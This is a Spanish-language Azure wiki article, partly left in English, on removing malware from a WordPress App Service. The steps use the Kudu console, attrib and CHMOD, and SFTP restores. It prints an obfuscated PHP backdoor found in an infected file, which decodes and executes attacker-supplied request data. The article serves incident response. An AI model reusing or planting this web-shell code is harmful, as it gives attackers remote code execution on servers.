Compartir a través de


Azure: Cómo restaurar un AppService wordpress con malware (es-MX)

Introducción

En este artículo, revisaremos cómo restaurar la aplicación web que se ejecuta en Azure en caso de que tengamos una posible inyección de código en Wordpress (PaaS)

Problema

Tenemos una interrupción en el servicio de nuestra aplicación web (PaaS) debido a una inyección código

Solución

Inicialmente, lo más factible y recomendable es tener una puerta de enlace WAF / APP y nuestra aplicación web dentro de una red virtual. Dicho esto, aquí hay algunos pasos para poder tener una de las muchas maneras de resolver las posibles consecuencias de tener la aplicación web con esta incidencia.

Para poder resolver primero la interrupción del servicio para este caso específico, vamos a ir a la consola kudu de la aplicación a la que puede acceder :

"Your-website-name.scm.wikiazurewebsites.net"

Accederemos a una pantalla como la que se muestra abajo.:

Once we access it we will go to Debug Console -> CMD :

Ahora que estamos en la consola, vamos a buscar un archivo de índice para poder visualizar los directorios de nuestra aplicación:

Aunque los directorios de aplicaciones web de wordpress están dentro de WWWRoot, la vulnerabilidad XSS afecta a todos los directorios de aplicaciones web de Azure, incluyendo "SiteExtensions", por lo que es muy recomendable que revise todos los directorios en detalle.

Recomendación: consultar primero los directorios:

  • / wwwroot / site /
  •  / wp-content /
  • / wp-content / plugins /
  • / wp-includes /

El código malicioso generalmente se detecta inmediatamente en los archivos index.php de la aplicación o con la extensión .suspected. También es posible que veas que algunas carpetas nuevas fueron creadas al azar. Por ejemplo, la carpeta pridmag no era parte de la aplicación.: 

Una vez que vayamos a analizar el archivo, veremos este código malicioso.:

Ejemplo de código malicioso: 

$qPdntpyq4160 = "o9)d.tfj03/1vgzmubk2er(5x7w_84a*np;yl6schiq";
 
 
$lsfpcQSs2632 = "";
 
foreach([38,0,21,5] as $j){
       $lsfpcQSs2632 .= $qPdntpyq4160[$j];
    }
 
 
if(isset($REQUEST /*pDsiayAqJlLkUzqpLBhEOdDBhpwfwWcNLloyGTzLkezyeFGjrGNRDUmTSFTqQzcDBNEHFgRafRGGIEqWrFNXMEofXOLuEVwoLinKXoCjuxhHFxuDKwfWoiJkvSVsLkjR*/["$lsfpcQSs2632"])){
    $owqHJoHl5389 = $_REQUEST /*pDsiayAqJlLkUzqpLBhEOdDBhpwfwWcNLloyGTzLkezyeFGjrGNRDUmTSFTqQzcDBNEHFgRafRGGIEqWrFNXMEofXOLuEVwoLinKXoCjuxhHFxuDKwfWoiJkvSVsLkjR*/["$lsfpcQSs2632"];
    $JYzXAdsa7417 = "";
    $kLAwcVVk3573 = "";
 
    /*SPkGyjnOAjltqokEMwPjggdrqqGOHxDNYCzXGbyFxUgvQFAGBgoWYVyEXXKnRLdlxihhiNdoPztrKPkBKIgEjDmKYyhGuSWDqHkldsbRzXagXTnqnfseOfuKsTYSrSjO*/
 
    foreach([17,30,38,20,37,29,27,3,20,39,0,3,20] as $j){
       $JYzXAdsa7417 .= $qPdntpyq4160[$j];
    }
 
    /*CaFjsRsoDobPDQJYjvXzNBVEghiYHMPTinuaajdEbzvsDGzzzEWMfQQropMXrzPRhtDKcviOSDiOXqJUiHpUQYfXPqJQvgiJAtfoxAGRdBpdKUmjkDbUVaMxJlaCSGVu*/
 
 
    foreach([38,5,21,21,20,12] as $j){
       $kLAwcVVk3573 .= $qPdntpyq4160[$j];
    }
 
    /*nmbMmzyOHtQmRrirHtgPuWOQXZLhIabZsYqdurJEFeKorIytwcFCmLjdFHOHSoBxSEZnWdnoWIYklSioFFxkytXkGimZvuuPLebrRImRHgFayVlcibJKdVfkaCclsvHb*/
 
    $j = $kLAwcVVk3573('n'.'o'.''.''.''.''.'i'.'t'.'c'.'n'.''.''.''.''.'u'.''.''.''.''.'f'.''.''.''.''.'_'.'e'.''.''.''.'t'.''.''.'a'.''.''.'e'.''.''.'r'.''.'c');
    $c = $j("", $JYzXAdsa7417($owqHJoHl5389));
    $c();
    exit();
 
}

En la mayoría de los casos, estos tipos de archivos no son editables.

Si intenta eliminar / modificar el archivo, aparece el siguiente error a continuación :

** agregamos un ".p" al final del archivo malicioso: el nombre del archivo malicioso original era db.php.suspected

Realizaremos los siguientes pasos para poder eliminar el archivo o restaurar el original. :

Opción 1. Eliminar archivos

1. In the KUDU console, we will go to the directory where the file is located

2. We will verify the read / write attributes of the file with the command below

 "attrib db.php.suspected.p"

** Note: Please see below a list of the parameters attributes for the files.

Parameters

  • + r: Sets the read-only file attribute.
  • -r: Clears the read-only file attribute.
  • + a: Sets the archive file attribute.
  • -a: Clears the archive file attribute.
  • + s: Sets the system file attribute.
  • -s: Clears the system file attribute.
  • + h: Sets the hidden file attribute.
  • -h: Clears the hidden file attribute

In this case we will use attrib -r db.php.suspected.p

Once we have done this step we can delete the malicious file. We are going to click back on the browser and click on the icon as shown below:

Opción 2. Modificar Archivos

 1. Si la opción1 anterior no funciona, ejecutaremos el comando CHMOD para cambiar los permisos de escritura de este archivo específico:

  CHMOD 777 db.php.suspected.p

** Nora: podría ser CHMOD 644 dependiendo del nivel de permisos apropiado:

Archivos / permisos de carpetas

  • wp-content (755)
  • wp-includes  (644 )
  • All .php files  (644 )
  • All folders  (755 )
  • wp-config.php (public_html folder)  (444 )
  • index.php (public_html folder)  (444 )

Después de eso podríamos eliminar el archivo.

** Nota: si aún no es posible eliminar el archivo, realice lo siguiente:

1. Detener la aplicación.

2. Cambie los permisos de lectura / escritura ejecutando CHMOD 777 file.php

2. Eliminar o modificar el archivo.

Opción 3. Restaurar archivos

Conéctese a la aplicación a través de SFTP y reemplace el archivo. Primero debe cambiar los permisos de escritura del archivo.

Por lo general, el malware se inicia en index.php y se amplía a otros directorios, por lo que debe inspeccionar todos los directorios y eliminar los archivos maliciosos o restaurarlos.

Alternativas y mejores prácticas

  • Utilice los plugins de seguridad como Sucuri Security o All In One WP Security & Firewall que protege, fortalece y escanea regularmente su sitio web.
  • Implementa tu aplicación web dentro de una red virtual
  • Habilite  un WAF e intente automatizar las actualizaciones de reglas siempre que sea posible

Otros lenguajes

en-US: Azure: How to fix a wordpress App Service infected with malware code injection